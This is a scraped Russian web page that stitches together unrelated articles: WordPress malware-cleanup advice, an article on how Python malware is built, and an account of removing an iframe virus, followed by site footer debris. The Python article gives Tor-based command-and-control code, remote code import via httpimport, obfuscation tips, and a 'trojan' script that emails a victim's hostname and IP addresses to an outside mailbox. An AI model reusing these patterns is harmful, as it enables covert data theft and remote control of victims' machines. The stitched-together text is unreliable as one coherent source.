Конкретней, он ищет несанкционированные(чужие) ссылки на сайте, встроенные вредоносным кодом и перенаправляющие на посторонний ресурс. После активации, его настройки ищите в разделе «Внешний вид».

Скачать плагин можно с официального сайта Вордпресс здесь или установить его через админку.

И ещё один плагин который может вам очень помочь в будущем belavir. Он определяет несанкционированные изменения в php файлах движка Вордпресс.

Принцип действия плагина,- он хеширует php-файлы и потом сравнивает текущие хеши с более ранними версиями и если обнаруживает несоответствия, отображает информацию в админке сайта. К примеру:

Если же, просмотрев показанный файл, понимаете что это вы его редактировали, тогда просто нажмите кнопку «сброс». В настройках плагин не нуждается, закачайте и активируйте.

Этот плагин поможет быстрей обнаружить внедренный вирус. Следует только учесть, что он как и все прежние плагины и сервисы, будет показывать все незнакомые, в том числе и здоровые коды. Здесь важно разобраться в самом начале, после установки, а потом будет проще. Если вдруг что то изменится, то выведет один код,  да и вы уже будете знать меняли ли вы что нибудь, где нибудь или нет. 

Сразу скажу, плагин конфликтует с другим классным плагином WP Security Scan, что это за плагин (в другой статье) в общем придется выбирать тот или этот.

И хочу добавить, что вы должны знать, нельзя ставить на сайт все плагины, которые,  как вам кажется, нужные, они сильно нагружают сайт, что влияет на скорость., ставить нужно только самые необходимые.

Но плагины что я привел выше, кроме belavir, можно установить, а после проверки сайта, попросту отключать их из админки чтобы не создавать лишней нагрузки. То есть они будут оставаться на сайте, но будут отключены. Тоже касается и плагинов оптимизации базы данных(приведенных выше).

Вот страница автора плагина belavir, где вы можете его смело скачать(смотреть справа), сайт одобрен Вордпресс, но перед этим обязательно прочитайте статью на той же странице. 

Ну и на этом пока все, а под конец напишу как можно удалить закодированную ссылку, которая может оказаться в новом шаблоне.

Удаление закодированной ссылки

 
Если удалить такую кодированную ссылку то можно поломать весь шаблон так как ссылка объединяет в себе определенные файлы и повлияет на функции темы.

Вот для вида начало и окончание подобной ссылки:

kodir-kod

 Кстати, если заметили в ней тоже скрывается команда base64_decode.

И так, для начала находим кодированную ссылку, обычна она длинная и чаще всего находится либо в  footer.php либо functions.php.

И перед   «<a href=» или  «<?php«(может быть и такое начало), ставим к примеру такой знак «***» это будет метка для нашей ссылки. 

Далее заходим на свой сайт(на главную) и правой кнопкой мыши открываем всплывающее окошко, в нем выбираем- «исходный код страницы» либо «просмотр кода элемента» (в зависимости от браузера).

Нам предстанет весь код нашего сайта.

Теперь на клавиатуре жмем Ctrl+F и ищем маленькое окно внизу слева. Вводим в него наши *** и нам сразу покажет(желтым цветом) где находится этот символ вместе с нашей кодированной ссылкой.

После этого нужно скопировать все то, что находится от начала нашей метки и до самого низа кода. После чего возвращаемся к тому нашему файлу, в котором мы нашли эту ссылку и вместо неё вставляем тот кусок кода, который мы только что скопировали.

В этом копированном коде и будут находиться закодированные ссылки, только сейчас они стали нормального вида и их теперь не проблема безопасно удалить.

И напоследок:

— Не забывайте проверять свой ПК на вирусы. Трояны воруют пароли с компа, и при соединении с хостингом, — передают данные злоумышленникам.как найти вирус на сайте

— При соединении с вашим хостингом для закачки каких то файлов используйте не порт 21, а порт 22(есть при наличии SSH подключения на хостинге). Это специальное подключение для безопасного доступа.

Если такого доступа в ПУ на сервисе нет, обратитесь в тех .поддержку за информацией. Возможно такой доступ есть, но он включается только при более дорогом тарифном плане, что было в моем случае на моем хостинге. Ну если сайт уже не плохо раскручен, то я думаю нет смысла экономить на безопасности.

И при соединении к хостеру c клиента Fizila или любого другого, — не сохраняйте в них пароли.

— Хоть иногда меняйте пароль к Панели Управления сайта и базе данных. Сам пароль должен состоять не менее чем из 20 символов с разным регистром.

— Получив на почту непонятное сообщение со ссылкой, проверьте его антивирусом на наличие вредоносного кода и лучше не открывайте все, что только возможно.

— И конечно друзья, перед любыми работами с файлами сайта, и базой данных обязательно делайте бекап корневой папки и базы. И тогда творите что угодно, ломайте хоть ещё много много  раз, все можно вернуть через панель хостинга или фтп клиент закачав на сервис резервную копию сайта. А редактировать файлы нужно в блокноте Notepad++ скачать с официального сайта можно здесь.

Ещё в скорости планирую написать статью как защитить сайт на Вордпресс, и думаю есть чем поделиться. Поэтому если желаете, можете подписаться на обновления

С уважением Андрей Русских

Уважаемые читатели, если статья вам была полезна, буду признателен если понажимаете кнопки (внизу)

Кроссворд для вас(нажмите чтобы начать, если не видно цифр- обновите страницу)

конкурсный кроссворд

В мире  существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести  хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому  списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях?  Желание нагадить ближнему без необходимости учить C/C++?  Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные  питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами  (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть  продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на  Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Упаковка в бинарники

Поскольку Python —  язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

  • https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор,  ваш код + все необходимые зависимости. 
  • https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в  С и потом компилирует его. 

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса,  виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник.  Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить. 

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать  сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor. 

Для обмена данными с хозяевами вирусы используют библиотеку torpy.  В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным  и получаешь апдейты к вирусу или команды.

from torpy import TorClient

hostname = 'ifconfig.me'  # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
    # Create tor stream to host
    with circuit.create_stream((hostname, 80)) as stream:
        # Now we can communicate with host
        stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
        recv = stream.recv(1024)

Работа с tor c этой либой проста, не сложнее requests.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами  Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV.  Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

# pyscreenshot/examples/grabfullscreen.py

"Grab the whole screen"
import pyscreenshot as ImageGrab

# grab fullscreen
im = ImageGrab.grab()

# save image file
im.save("fullscreen.png")

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Серверная токсичность

Бэкдоры на Python для серверов  тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем.  Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы.  Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения. 

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше!  Но самый  простой в реализации  способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
...     import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
...     import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'

Трояны

Теория

Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.



import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты. 

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

Просмотры: 4 047

virus Каждый вебмастер обнаружив вредоносный код на своем сайте,  получает массу не очень приятных впечатлений. Владелец сайта сразу же, в панике пытается найти и уничтожить вирус, и понять каким же образом эта гадость могла попасть на его сайт. Но как показывает практика, найти вредоносный код на сайте не так уж и просто. Ведь вирус может прописаться в один или в несколько файлов, из огромного количества которых состоит сайт, будь то движок работающий на вордпрессе или обычный сайт на html.

Вчера, проверяя свою почту, я обнаружил письмо от Google, о том что посещение определенных страниц моего сайта может привести к заражению компьютеров пользователей вредоносными программами. Теперь пользователям, переходящим на эти страницы по ссылкам в результатах поиска Google.ru, отображается страница с предупреждением. Этот сайт не был добавлен мной в панель вебмастера Google, поэтому я был оповещен по почте. В панели вебмастера у меня находилось еще несколько сайтов, зайдя туда я в ужасе увидел предупреждение о вредоносном коде еще на двух своих сайтах.
В итоге, на трех моих сайтах поселился вредоносный код, который мне предстояло найти и уничтожить. Один из сайтов работал на вордпрессе, другие два состояли из обычных php страниц.

Стоит заметить, что Google среагировал гораздо быстрее Яндекса на наличие вредоносного кода. В панели вебмастера Яндекса, предупреждение о наличии вируса на сайте так и не появилось. Благо, в течении нескольких часов я успел найти этот злосчастный вирус.

Как правило, чаще всего сайты заражает так называемый iframe-вирус. По сути, этот вирус состоит из кода <iframe>….</iframe>. Вирус ворует все пароли с Total Commander или другого ftp-клиента. В моем случае, произошло тоже самое, код iframe прописался в нескольких десятках файлов на моем сайте. На сайте, который работал на вордпрессе, вредоносный код успел обосноваться лишь в footer.php.

И так, как найти вредоносный код, если Вы обнаружили что Ваш сайт заражен:

1. Заходим в панель управления хостингом и меняем пароль. Елси у Вас несколько сайтов, то проделываем это со всеми своими сайтами.

2. Меняем и удаляем пароли в ftp-клиенте. Больше никогда не храним пароли в ftp-клиентах, всегда вводим их вручную.

3. Можно зайти на хостинг по ftp, и посмотреть что изменилось в Ваших файлах. Отсортируйте файлы по дате последнего изменения. У тех файлов, которые заражены, дата должна быть свежая и одинаковая. Откройте эти файлы и ищите код iframe, как правило этот код располагается в самом конце. В основном, вредоносный код прописывается в файлах: index.php, index.html, в файлах с расширением .js. Нередко, эта зараза проживает между тегами <script>…</script>.
Для самописных сайтов, очень внимательно просмотрите все файлы и папки скриптов, вирус частенько прописывается именно там. Так же, излюбленное место обитания этого вируса, в кодах счетчиков для сайта, и в рекламных кодах.

4. Проверьте файл .htaccess на наличие подозрительного кода. Иногда вредоносный код проникает и в этот файл. Обычно в файлах движка существует несколько директорий, в которых может находиться файл .htaccess. Проверьте все эти файлы и убедитесь в «чистоте» кода.

Что касается файлов вордпресса или другой CMS, как правило любая CMS состоит из множество файлов и папок, и найти в них вредоносный код очень сложно. Например, для вордпресса могу порекомендовать плагин TAC. Этот плагин проверяет файлы во всех темах в папке themes на наличие стороннего кода. Если TAC найдет не желательный код, то покажет путь к этому файлу. Таким образом, можно вычислить и маскирующийся вирус.
Скачать плагин TAC: wordpress.org

Вообще, стоит постоянно держать в памяти все действия, которые Вы производили со своими файлами сайта. Помнить, что меняли или добавляли в тот или иной код.

Когда найдете и удалите вредоносный код, то не помешает проверить свой компьютер на наличие вирусов.
И если Ваш сайт был помечен Гуглом или Яндксом как зараженный, то через панель вебмастера надо отправить запрос на повторную проверку. Как правило, в течении суток все ограничения с Вашего сайта поисковики должны убрать. Мой запрос на повторную проверку Гугл обрабатывал не долго, и через несколько часов с моих сайтов были сняты все ограничения.

Еще по теме:

to continue to Google Sites

Not your computer? Use Guest mode to sign in privately. Learn more

Понравилась статья? Поделить с друзьями:

Не пропустите также:

  • Привет сосед как исправить ошибку
  • Как найти не целую степень
  • Как найти то что удалил на айфоне
  • Как найти работу не бей лежачего
  • Как найти затраченную работу двигателя

  • 0 0 голоса
    Рейтинг статьи
    Подписаться
    Уведомить о
    guest

    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии